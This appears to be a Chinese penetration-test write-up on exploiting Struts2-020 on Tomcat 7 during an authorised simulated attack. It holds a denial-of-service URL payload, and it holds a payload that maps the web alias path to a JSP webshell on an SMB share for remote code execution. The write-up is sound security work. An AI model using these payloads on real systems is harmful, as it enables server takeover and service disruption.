摘要:在一次給某甲方做模擬攻擊中發現某網站存在Struts2-020,但是中間件是tomcat7不能直接getshell。谷歌作爲技術人員的好朋友,碰到技術問題谷歌就對了,一頓搜索之後在一篇老毛子寫的文章中寫到class.classLoader.parent.resources.dirContext.aliases不僅僅可以任意文件讀取,文件路徑是支持UNC path的即smb路徑。

在一次給某甲方做模擬攻擊中發現某網站存在Struts2-020,但是中間件是tomcat7不能直接getshell。

一、Struts2-020漏洞原理

Object是java的基礎類,所有的class生成的對象,都會繼承Object的所有屬性和方法,因此當前action無論是什麼代碼,必須有Object自帶的getClass方法,這個方法會返回一個Class對象,Class對象又一定會有getClassLoader方法,最終在每個action都可以操控class。Struts2-020允許訪問直接映射到“getClass()”方法的“class”參數 ,這可以被利用來操縱所使用的應用程序服務器的ClassLoader。簡而言之就是可以通過ClassLoader操控Tomcat的一些配置屬性,這個漏洞在Tomcat8下是可以getshell的。如下圖爲tomcat8部分可控屬性。

Tomcat8如何getshell在網上一大堆這裏就不演示了,大概步驟如下

1.更改Tomcat log爲可執行文件,更改log文件名,更改日誌路徑至web目錄下
2.初始化日誌文件
3.通過URL訪問,在日誌中寫入一句話
4.菜刀連接一句話成功getshell

二、Tomcat7如何getshell?

一開始以爲struts2-010在tomcat下都能getshell,瘋狂操作下一直失敗,百度後才知道tomcat7無法操控日誌屬性。只能重定向web目錄造成拒絕服務攻擊。

拒絕服務攻擊:

http://127.0.0.1/s/example/HelloWorld.action?
class.classLoader.resources.dirContext.docBase=”亂填就好”

但是隻挖到一個拒絕服務攻擊無法向甲方交差呀,甲方交不了差,老闆就不高興,老闆不高興,我的績效考覈危矣。拒絕服務攻擊更是不敢打,上次模擬攻擊把甲方服務打癱了,最後一個外包也離我而去了,難頂還是得頂。

2.1本地枯燥調試

無奈之下只能在本地搭建環境把所有可操控的屬性枚舉出來。

把一個個屬性試過去,看是否能利用的,挨個簡單更改屬性值後通過日誌和變化來判斷,發現並不能getshell,當我正要放棄的時候腦子裏飄過一個紅色的身影,親切地對我說沒有攻不破的系統,只有不努力的黑客。瞬間鬥志滿滿!!!

2.2谷歌大法好

谷歌作爲技術人員的好朋友,碰到技術問題谷歌就對了,一頓搜索之後在一篇老毛子寫的文章中寫到class.classLoader.parent.resources.dirContext.aliases不僅僅可以任意文件讀取,文件路徑是支持UNC path的即smb路徑。這時候我就想既然支持SMB路徑,搞個文件共享時候能執行命令?只要把文件共享設置爲eve任何人可以訪問就可以讓網站讀取到可執行文件,指不定就能執行了!!!

2.3本地搭建SMB服務並測試

搭建過程操作不難,在文件共享中放入一句話木馬,再把網站的別名路徑映射到SMB服務器。

Payload:

http://127.0.0.1:8080/struts2-blank/hello.action? 
class.classLoader.parent.resources.dirContext.aliases=\\192.168.1.1\muma.jsp

菜刀一連成功連接:

三、雲環境測試

因爲目標是在雲環境上,衆所周知雲環境大部分都是不對外開放445端口的。但是通過信息收集發現所在目標是在一個野雞雲環境上,因爲之前接觸過幾家野雞雲服務器廠商,他們C段的445端口是互通的。我就在想這家廠商是否也存在這樣的配置漏洞?

3.1金錢的力量

本來想在C段擼下一臺服務器作爲SMB服務器的,但是作爲正義的白帽子怎麼能做此等齷齪的事?只能把方案提出來,提交到上級申請經費。最後以目標IP旁邊的某個IP數字吉利爲由,通過客服以1.5倍的價格買下了目標相鄰的服務器,最終發現的確存在配置不當。C段的445端口可以相互訪問從而Getshell成功。

四、最後

網站滲透很少有一個POC或者EXP直接打穿的,遇到難題多思考,多搜索。不要放棄,不斷嘗試,嘗試着嘗試着就成功了

*本文作者:꧁,轉載請註明來自FreeBuf.COM

相關文章